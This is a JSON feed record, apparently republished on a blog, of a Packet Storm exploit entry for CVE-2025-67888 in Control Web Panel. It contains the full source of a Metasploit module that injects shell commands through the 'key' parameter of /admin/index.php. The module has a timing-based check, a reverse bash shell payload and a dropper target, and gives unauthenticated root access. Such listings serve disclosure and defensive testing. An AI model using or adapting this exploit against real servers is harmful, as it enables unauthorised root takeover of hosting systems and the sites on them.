{“lastseen”:”2026-01-14T18:59:45″,”description”:”Control Web Panel CWP versions less than or equal to 0.9.8.1208 are vulnerable to unauthenticated OS command injection. User input passed via the \\”key\\” GET parameter to \/admin\/index.php when the \\”api\\” parameter is set is not properly sanitized before…”,”published”:”2026-01-14T00:00:00″,”modified”:”2026-01-14T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Control Web Panel 0.9.8.1208 Remote Code Execution”,”source”:””,”references”:””,”id”:”PACKETSTORM:213897″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2025-67888″],”sourceData”:”##\\n # This module requires Metasploit: https:\/\/metasploit.com\/download\\n # Current source: https:\/\/github.com\/rapid7\/metasploit-framework\\n ##\\n \\n class MetasploitModule \\u003c Msf::Exploit::Remote\\n Rank = ExcellentRanking\\n \\n prepend Msf::Exploit::Remote::AutoCheck\\n include Msf::Exploit::Remote::HttpClient\\n include Msf::Exploit::CmdStager\\n \\n def initialize(info = {})\\n super(\\n update_info(\\n info,\\n ‘Name’ =\\u003e ‘Control Web Panel \/admin\/index.php Unauthenticated RCE’,\\n ‘Description’ =\\u003e %q{\\n Control Web Panel (CWP) versions \\u003c= 0.9.8.1208 are vulnerable to\\n unauthenticated OS command injection. User input passed via the\\n \\”key\\” GET parameter to \/admin\/index.php (when the \\”api\\” parameter is set)\\n is not properly sanitized before being used to execute OS commands.\\n This can be exploited by unauthenticated attackers to inject and execute\\n arbitrary OS commands with the privileges of the root user on the web server.\\n \\n Successful exploitation usually requires \\”Softaculous\\” and\/or \\”SitePad\\”\\n to be installed through the Scripts Manager.\\n },\\n ‘Author’ =\\u003e [\\n ‘Lukas Johannes M\u00f6ller’, # Metasploit module\\n ‘Egidio Romano’ # Vulnerability discovery\\n ],\\n ‘References’ =\\u003e [\\n [‘CVE’, ‘2025-67888’],\\n [‘URL’, ‘https:\/\/karmainsecurity.com\/KIS-2025-09’],\\n [‘URL’, ‘https:\/\/www.cve.org\/CVERecord?id=CVE-2025-67888’],\\n [‘URL’, ‘https:\/\/control-webpanel.com’]\\n ],\\n ‘DisclosureDate’ =\\u003e ‘2025-12-16’,\\n ‘License’ =\\u003e MSF_LICENSE,\\n ‘Platform’ =\\u003e [‘linux’, ‘unix’],\\n ‘Arch’ =\\u003e ARCH_ALL,\\n ‘Privileged’ =\\u003e true,\\n ‘Targets’ =\\u003e [\\n [\\n ‘Unix Command’,\\n {\\n ‘Platform’ =\\u003e ‘unix’,\\n ‘Arch’ =\\u003e ARCH_ALL,\\n ‘DefaultOptions’ =\\u003e {\\n ‘PAYLOAD’ =\\u003e ‘cmd\/unix\/reverse_bash’\\n },\\n ‘Payload’ =\\u003e {\\n ‘Encoder’ =\\u003e ‘cmd\/base64’,\\n ‘BadChars’ =\\u003e \\”\\\\x00\\\\x20\\”\\n }\\n }\\n ],\\n [\\n ‘Linux Dropper’,\\n {\\n ‘Platform’ =\\u003e ‘linux’,\\n ‘Arch’ =\\u003e ARCH_ALL\\n }\\n ]\\n ],\\n ‘DefaultTarget’ =\\u003e 0,\\n ‘DefaultOptions’ =\\u003e {\\n ‘SSL’ =\\u003e true\\n },\\n ‘Notes’ =\\u003e {\\n ‘Stability’ =\\u003e [CRASH_SAFE],\\n ‘Reliability’ =\\u003e [REPEATABLE_SESSION],\\n ‘SideEffects’ =\\u003e [IOC_IN_LOGS]\\n }\\n )\\n )\\n \\n register_options([\\n Opt::RPORT(2031)\\n ])\\n end\\n \\n def check\\n sleep_time = rand(5..10)\\n \\n print_status(\\”Checking vulnerability with sleep command (waiting #{sleep_time} seconds)…\\”)\\n \\n res, elapsed_time = Rex::Stopwatch.elapsed_time do\\n send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(‘\/admin\/index.php’),\\n ‘vars_get’ =\\u003e {\\n ‘api’ =\\u003e ‘1’,\\n ‘key’ =\\u003e \\”$(sleep #{sleep_time})\\”\\n }\\n )\\n end\\n \\n vprint_status(\\”Elapsed time: #{elapsed_time.round(2)} seconds\\”)\\n \\n return CheckCode::Unknown(‘No response from server.’) unless res\\n return CheckCode::Vulnerable(\\”Server waited #{elapsed_time.round(2)} seconds (expected \\u003e= #{sleep_time}).\\”) if elapsed_time \\u003e= sleep_time\\n \\n CheckCode::Safe(\\”Server responded in #{elapsed_time.round(2)} seconds (expected \\u003e= #{sleep_time}).\\”)\\n end\\n \\n def exploit\\n print_status(\\”Executing #{target.name} for #{datastore[‘PAYLOAD’]}\\”)\\n \\n case target[‘Type’]\\n when :unix_cmd\\n execute_command(payload.encoded)\\n when :linux_dropper\\n execute_cmdstager\\n end\\n end\\n \\n def execute_command(cmd, _opts = {})\\n vprint_status(\\”Executing command: #{cmd}\\”)\\n \\n send_request_cgi(\\n ‘method’ =\\u003e ‘GET’,\\n ‘uri’ =\\u003e normalize_uri(‘\/admin\/index.php’),\\n ‘vars_get’ =\\u003e {\\n ‘api’ =\\u003e ‘1’,\\n ‘key’ =\\u003e \\”$(#{cmd})\\”\\n }\\n )\\n end\\n end”,”sourceHref”:”https:\/\/packetstorm.news\/download\/213897″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/213897\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-01-14T18:59:45″,”description”:”Control Web Panel CWP versions less than or equal to 0.9.8.1208 are vulnerable to unauthenticated OS command injection. User input passed via the \\”key\\” GET…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-35729","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n